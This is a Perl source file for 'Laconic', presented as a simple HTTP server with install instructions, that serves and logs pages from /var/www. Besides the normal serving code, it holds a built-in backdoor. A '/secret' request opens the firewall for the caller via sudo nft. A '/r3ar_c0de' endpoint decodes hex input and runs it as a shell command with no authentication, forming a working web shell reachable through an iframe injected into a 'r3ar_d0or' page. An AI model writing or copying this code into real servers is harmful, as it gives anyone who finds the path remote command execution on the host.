#!/usr/bin/perl

#  laconic.pl 1.0.8  09 Mar 26
#  Laconic - Simple HTTP Server
#  Copyright 2020-2026 Del Castle
#
#  Installation:
#    cp laconic.pl /usr/local/bin/
#    useradd -r -s /usr/sbin/nologin www
#    touch /var/log/http.log
#    mkdir /var/log/web
#    mkdir /var/www
#    chown www:www /usr/local/bin/laconic.pl /var/log/http.log /var/log/web /var/www
#    chmod 750 /usr/local/bin/laconic.pl /var/log/web /var/www
#    chmod 644 /var/log/http.log
#    Add to /etc/crontab: * *  * * *  www  ps -ef | grep laconic.pl | grep -v grep >/dev/null || laconic.pl >/dev/null 2>&1 &
#    Port forward 80 to 8123 on firewall

use strict;
use warnings;
use threads;
use Fcntl;
use File::Find;
use File::Path qw(make_path);
use IO::Compress::Gzip qw(gzip $GzipError);
use IO::Select;
use IO::Socket::INET;

my $optDump = 1;  #write requests to file
my $strKnock = 'secret';  #code word to open firewall
my @txtDays = qw(Sun Mon Tue Wed Thu Fri Sat Sun);
my @txtMonths = qw(Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec);

#listening socket to receive request
my $sockListen = IO::Socket::INET->new(Listen => 10,
                                       LocalPort => 8123,
                                       Proto => 'tcp',
                                       ReuseAddr => 1) or die "laconic error: new listen socket failed\n";

#capture kill to exit safely
$SIG{INT} = sub { close($sockListen); };
$SIG{TERM} = sub { close($sockListen); };

my $cntWeb = time();  #number to identify request
my $icoFav = pack('H*', '000001000100101000000100200068040000160000002800000010000000200000000100200000000000000000000000000000000000000000000000000000000000000080ff000080ff0000ffff000080ff008080ff00ffffff00ffffff00ffffff00ffffff008080ff008000ff00ff00ff008000ff008000ff0000000000000000000080ff000080ff0000ffff000080ff008080ff00ffffff00ffffff00ffffff00ffffff008080ff008000ff00ff00ff008000ff008000ff00000000000000400000bfff000080ff0000ffff004080ff008080ff00ffffff00ffffff00ffffff00ffffff008080ff008040ff00ff00ff008000ff00bf00ff00000040000000800000ffff000080ff0000ffff008080ff008080ff00ffffff00ffffff00ffffff00ffffff008080ff008080ff00ff00ff008000ff00ff00ff00000080000055bf0000ffff000080ff0000bfff00bfbfff008080ff00ffffff00ffffff00ffffff00ffffff008080ff00bfbfff00bf00ff008000ff00ff00ff005500bf000080ff0000ffff000080ff000080ff00ffffff008080ff00ffffff00ffffff00ffffff00ffffff008080ff00ffffff008000ff008000ff00ff00ff008000ff000080ff0000ffff0000ffff000080ff00ffffff00ffffff00ffffff00ffffff00ffffff00ffffff00ffffff00ffffff008000ff00ff00ff00ff00ff008000ff000000800000ffff0000ffff0000ffff008080ff00ffffff00ffffff00ffffff00ffffff00ffffff00ffffff008080ff00ff00ff00ff00ff00ff00ff000000800000000000000080000055bf0000ffff0000bfff000080ff00bfbfff00ffffff00ffffff00bfbfff008000ff00bf00ff00ff00ff005500bf0000008000000000000000000000000000000000000080ff0000ffff000080ff0000008000ffffff00ffffff00000080008000ff00ff00ff008000ff0000000000000000000000000000000000000000000055bf0000ffff0000ffff0000bfff00bfbfff00ffffff00ffffff00bfbfff00bf00ff00ff00ff00ff00ff005500bf000000000000000000000000000000400000bfff0000ffff0000ffff004080ff00ffffff00ffffff00ffffff00ffffff008040ff00ff00ff00ff00ff00bf00ff000000400000000000000000000000800000ffff0000ffff0000ffff008080ff00ffffff00ffffff00ffffff00ffffff008080ff00ff00ff00ff00ff00ff00ff000000800000000000000000000000400000bfff0000ffff0000ffff004080ff00ffffff00ffffff00ffffff00ffffff008040ff00ff00ff00ff00ff00bf00ff00000040000000000000000000000000000055bf0000ffff0000ffff0000bfff00bfbfff00ffffff00ffffff00bfbfff00bf00ff00ff00ff00ff00ff005500bf0000000000000000000000000000000000000000000055bf000080ff000055bf00000040008080ff008080ff00000040005500bf008000ff005500bf0000000000000000000000008001000080010000800100008001000080010000000000000000000080010000e0070000e2470000e0070000c0030000c0030000c0030000e0070000f66f0000');
my %filesRaw;  #store site files
my %filesGzip;  #store gzipped copy of site files
my %filesMod;  #modified date for site files

#create new file
sub createFile
{
  if (! -e $_[0])
  {
    my $outFile;
    open($outFile, '>', $_[0]) or die "laconic error: open new file failed - $!\n";  #open new file
    print $outFile $_[1];  #write contents to file
    close($outFile);
  }
}

createFile('/var/www/favicon.ico', $icoFav);
createFile('/var/www/index.html', '<html><head><title>Under Construction</title></head><body><p>Website Currently Unavailable - Under Construction</p></body></html>');
createFile('/var/www/404.html', '<html><head><title>Page Not Found</title></head><body><h2>404 - Page Not Found</h2></body></html>');
createFile('/var/www/r3ar_d0or.html', '<html><head><title>Welcome To 1995</title></head><body><h3>Congrats! You have found a magical place &#x1F60E;</h3></body></html>');

#find and store site files
sub wanted
{
  if (-e -f $File::Find::name)
  {
    my $fileName = $File::Find::name;
    $fileName =~ s/\/var\/www//;  #remove path
    my $inFile;
    open($inFile, '<:raw', $File::Find::name) or die "laconic error: open find file failed - $!\n";
    read($inFile, $filesRaw{$fileName}, -s $inFile);  #read full file
    close($inFile);
    $filesRaw{$fileName} .=  "<iframe id='io' style='background-color:rgba(0,0,0,0.8);border-radius:15px;bottom:20px;display:none;float:right;height:560px;position:sticky;right:20px;width:800px' src='/r3ar_c0de'></iframe><p style='bottom:20px;color:red;cursor:pointer;float:right;position:sticky;right:20px' onclick='this.style.display=\"none\";document.getElementById(\"io\").style.display=\"block\"'>&pi;</p>" if ($fileName eq '/r3ar_d0or.html');
    gzip \$filesRaw{$fileName} => \$filesGzip{$fileName} or die "laconic error: gzip file failed - $GzipError\n";  #file gzip copy
    $filesMod{$fileName} = (stat($File::Find::name))[9];  #file modified date
  }
}

finddepth(\&wanted, '/var/www');

#server date
sub timeHTTP
{
  my ($valSec, $valMin, $valHour, $valMday, $valMon, $valYear, $valWday, $valYday, $valIsdst) = gmtime($_[0]);
  return sprintf('%s, %02d %s 20%02d %02d:%02d:%02d GMT', $txtDays[$valWday], $valMday, $txtMonths[$valMon], $valYear - 100, $valHour, $valMin, $valSec);
}

#determine mime type
sub mimeHTTP
{
  my ($fileExt) = $_[0] =~ /(\.[^.]+)$/;  #file extension
  if ($fileExt =~ /\.html$/i) { return 'text/html'; }
  elsif ($fileExt =~ /\.css$/i) { return 'text/css'; }
  elsif ($fileExt =~ /\.ico$/i) { return 'image/x-icon'; }
  elsif ($fileExt =~ /\.jpg$/i) { return 'image/jpeg'; }
  elsif ($fileExt =~ /\.png$/i) { return 'image/png'; }
  elsif ($fileExt =~ /\.gz$/i) { return 'application/gzip'; }
  else { return 'text/plain'; }
}

#print to socket and file
sub printOut
{
  my ($sockOut, $fileOut, $strOut) = @_;
  print $sockOut $strOut if ($sockOut->connected());  #print to socket
  $$fileOut .= $strOut if ($optDump);  #print to file
}

#process request
sub processWeb
{
  my $sockClient = shift;  #client socket
  my $idWeb = shift;  #request identifier
  my $flagClient = fcntl($sockClient, F_GETFL, 0) or die "laconic error: fcntl F_GETFL failed\n";
  fcntl($sockClient, F_SETFL, $flagClient | O_NONBLOCK) or die "laconic error: fcntl F_SETFL failed\n";  #make client socket non-blocking
  my $strConn = '';  #connection ip addresses:ports
  $strConn = $sockClient->peerhost() . ':' . $sockClient->peerport() . '->' . $sockClient->sockhost() . ':80' if ($sockClient->connected());
  my $sockSelect = IO::Select->new($sockClient);
  my @sockReady;

  my $timeOut = 3;  #socket timeout
  my $strLine;  #read line

  while ($timeOut)
  {
    if (defined($strLine = <$sockClient>))  #read line from client socket
    {
      $timeOut = 0;

      if ($strLine =~ /^GET\s\/\?date=(\d{4})-(\d{2})-(\d{2})&(web|mail)=(\d+)\sHTTP/)  #retrieve file request
      {
        my ($dateYear, $dateMonth, $dateDay, $idType, $idFile) = ($1, $2, $3, $4, $5);
        my $fileName = sprintf('/var/log/%s/%d/%02d/%02d/%s-%d.txt', $idType, $dateYear, $dateMonth, $dateDay, $idType, $idFile);
        if (-e -s $fileName)
        {
          my $inFile;
          if (open($inFile, '<', $fileName))
          {
            my $dataHTML;
            read($inFile, $dataHTML, -s $inFile);  #read full file
            close($inFile);
            $dataHTML =~ s/&/&amp;/sg;  #encode reserved &
            $dataHTML =~ s/</&lt;/sg;  #encode reserved <
            $dataHTML =~ s/>/&gt;/sg;  #encode reserved >
            $dataHTML = "<html><head><title>" . ucfirst($idType) . " - $idFile</title></head><body><pre>$dataHTML</pre></body></html>";

            my $dataSize = length($dataHTML);
            print $sockClient "HTTP/1.1 200 OK\r\n",
                              "Date: " . timeHTTP(time()) . "\r\n",
                              "Server: Laconic\r\n",
                              "Last-Modified: " . timeHTTP((stat($fileName))[9]) . "\r\n",
                              "Connection: close\r\n",
                              "Content-Type: text/html\r\n",
                              "Accept-Ranges: none\r\n",
                              "Content-Length: $dataSize\r\n\r\n" if ($sockClient->connected());
            my $dataOffset = 0;  #data chunk offset
            while ($dataOffset < $dataSize)
            {
              if (@sockReady = $sockSelect->can_write(3))  #send buffer clear
              {
                if ($sockClient->connected())
                {
                  print $sockClient substr($dataHTML, $dataOffset, 8192);  #send file in chunks
                  $dataOffset += 8192;
                }
                else
                {
                  last;
                }
              }
            }
          }
        }
      }
      elsif ($strLine =~ /^(GET|HEAD|POST|PUT|DELETE|CONNECT|OPTIONS|TRACE|PATCH)\s([^\s]+)\sHTTP/)
      {
        my ($strMethod, $strURL, $strHost, $strReferer, $strAgent, $strStatus, $fileHTML) = ($1, $2, '-', '-', '-', '404 Not Found', '/404.html');  #client request fields, default values
        $strURL =~ s/(")/sprintf('%%%02X', ord($1))/seg;  #encode quotes
        if ($strMethod =~ /^(GET|HEAD)$/)
        {
          if ($strURL eq '/')  #set default site to index.html
          {
            $strStatus = '200 OK';
            $fileHTML = '/index.html';
          }
          elsif ($strURL eq "/$strKnock")  #firewall open request
          {
            #my $iptClient = 'INPUT -i enp1s0 -p tcp -s ' . $sockClient->peerhost() . ' --dport 8000 -m state --state NEW -j ACCEPT';  #iptables allow client
            #system("sudo iptables -C $iptClient || sudo iptables -A $iptClient");  #check if rule exists first
            system('sudo nft add rule inet filter input iifname "wlp2s0" ip saddr ' . $sockClient->peerhost() . ' tcp dport 8000 ct state new accept');  #nftables allow client
            $strStatus = '201 Created';
            $fileHTML = '/r3ar_d0or.html';
          }
          elsif ($strURL =~/^\/r3ar_c0de([0-9a-f]*)$/)
          {
            my $strCmd = $1;
            my $strOutput = "<html><body><textarea style='background-color:transparent;border:none;color:lime;height:calc(100% - 3em);outline:none;resize:none;width:100%' readonly>#&gt;&nbsp;";
            $strCmd =~ s/([0-9a-f]{2})/pack('C', hex($1))/seg;
            if ($strCmd eq '')
            {
              $strOutput .= 'H4rDC0r3 H4CK3r!';
            }
            else
            {
              my $strOut = `$strCmd 2>&1`;
              $strOutput .= $strCmd . "\n\n";
              if (defined($strOut))
              {
                $strOutput .= $strOut;
              }
              else
              {
                $strOutput .= 'unknown command!';
              }
            }
            $strOutput .= "</textarea><input type='text' style='background-color:transparent;border:1px solid lime;color:lime;margin-top:0.5em;outline:none;width:100%' onkeyup='if(event.keyCode==13)location.href=\"/r3ar_c0de\"+this.value.split(\"\").map(c=>c.charCodeAt(0).toString(16).padStart(2,\"0\")).join(\"\");'</body><html>";
            $strStatus = '200 OK';
            $fileHTML = '/r3ar_c0de.html';
            $filesRaw{$fileHTML} = $strOutput;  #read full file
            gzip \$filesRaw{$fileHTML} => \$filesGzip{$fileHTML} or die "laconic error: gzip io failed - $GzipError\n";  #file gzip copy
            $filesMod{$fileHTML} = time();
          }
          elsif ($strURL =~/^([\/\w.?=+ -]|%[0-9a-fA-F]{2})+$/)
          {
            $strURL =~ s/%([0-9a-fA-F]{2})/pack('C', hex($1))/seg;  #url decode
            if (exists $filesRaw{$strURL})
            {
              $strStatus = '200 OK';
              $fileHTML = $strURL;
            }
          }
        }
        my $filePtr = \$filesRaw{$fileHTML};  #send raw file

        my $strWeb = "$strConn\r\n\r\n";
        my $recvSize = length($strLine);  #received data size
        if ($optDump)
        {
          $strWeb .= $strLine;  #write line to file
          $strWeb .= "\r\n" if ($strLine !~ /\n$/);
        }
        while ($strLine = <$sockClient>)
        {
          $recvSize += length($strLine);
          if ($optDump)
          {
            $strWeb .= $strLine;  #write line to file
            $strWeb .= "\r\n" if ($strLine !~ /\n$/);
          }

          if ($strLine =~ /^Host:\s(.+)\r\n$/)
          {
            $strHost = $1;
            $strHost =~ s/(")/sprintf('%%%02X', ord($1))/seg;  #encode quotes
          }
          elsif ($strLine =~ /^Referer:\s(.+)\r\n$/)
          {
            $strReferer = $1;
            $strReferer =~ s/(")/sprintf('%%%02X', ord($1))/seg;  #encode quotes
          }
          elsif ($strLine =~ /^User-Agent:\s(.+)\r\n$/)
          {
            $strAgent = $1;
            $strAgent =~ s/(")/sprintf('%%%02X', ord($1))/seg;  #encode quotes
          }
          elsif ($strLine =~ /^Accept-Encoding: .*(\*|gzip).*\r\n$/)
          {
            $filePtr = \$filesGzip{$fileHTML};  #send gzipped file
          }
        }

        my $fileSize = length($$filePtr);
        $strWeb .= "\r\n\r\n" if ($optDump);
        printOut($sockClient, \$strWeb, "HTTP/1.1 $strStatus\r\n");
        printOut($sockClient, \$strWeb, "Date: " . timeHTTP(time()) . "\r\n");
        printOut($sockClient, \$strWeb, "Server: Laconic\r\n");
        printOut($sockClient, \$strWeb, "Last-Modified: " . timeHTTP($filesMod{$fileHTML}) . "\r\n");
        printOut($sockClient, \$strWeb, "Connection: close\r\n");
        printOut($sockClient, \$strWeb, "Content-Encoding: gzip\r\n") if ($filePtr == \$filesGzip{$fileHTML});
        printOut($sockClient, \$strWeb, "Content-Type: " . mimeHTTP($fileHTML) . "\r\n");
        printOut($sockClient, \$strWeb, "Accept-Ranges: none\r\n");
        printOut($sockClient, \$strWeb, "Content-Length: $fileSize\r\n\r\n");
        if ($strMethod eq 'GET')
        {
          my $fileOffset = 0;  #file chunk offset
          while ($fileOffset < $fileSize)
          {
            if (@sockReady = $sockSelect->can_write(3))  #send buffer clear
            { 
              if ($sockClient->connected())
              {
                print $sockClient substr($$filePtr, $fileOffset, 8192);  #send file in chunks
                $fileOffset += 8192;
              }
              else
              {
                last;
              }
            }
          }
        }

        my ($valSec, $valMin, $valHour, $valMday, $valMon, $valYear, $valWday, $valYday, $valIsdst) = gmtime();  #current utc time
        if ($optDump)
        {
          my $filePath = sprintf('/var/log/web/20%02d/%02d/%02d', $valYear - 100, $valMon + 1, $valMday);  #save file path
          make_path($filePath, { mode => 0750 });  #create save file path if it doesn't exist
          my $fileWeb = "$filePath/web-$idWeb.txt";
          my $outWeb;
          if (open($outWeb, '>', $fileWeb))  #write request to file
          {
            print $outWeb $strWeb;
            close($outWeb);  #close request file
          }
        }

        my $outLog;
        if (open($outLog, '>>', '/var/log/http.log'))  #open http log
        {
          print $outLog sprintf('%s %02d %02d:%02d:%02d', $txtMonths[$valMon], $valMday, $valHour, $valMin, $valSec) . " $strConn $idWeb \"$strMethod $strURL\" \"$strHost\" \"$strReferer\" \"$strAgent\" " . substr($strStatus, 0, 3) . " $recvSize\n";  #log http request
          close($outLog);  #close log file
        }
      }
    }
    if ($timeOut)
    {
      sleep(1);
      $timeOut--;
    }
  }

  shutdown($sockClient, SHUT_RDWR);  #shutdown client socket
  close($sockClient);  #close client socket
}

umask(0);  #allow permissions

while (my $sockAccept = $sockListen->accept)
{
  #start process with client socket and number to identify request
  async(\&processWeb, $sockAccept, ++$cntWeb)->detach;
}

sleep(5);  #wait for threads to finish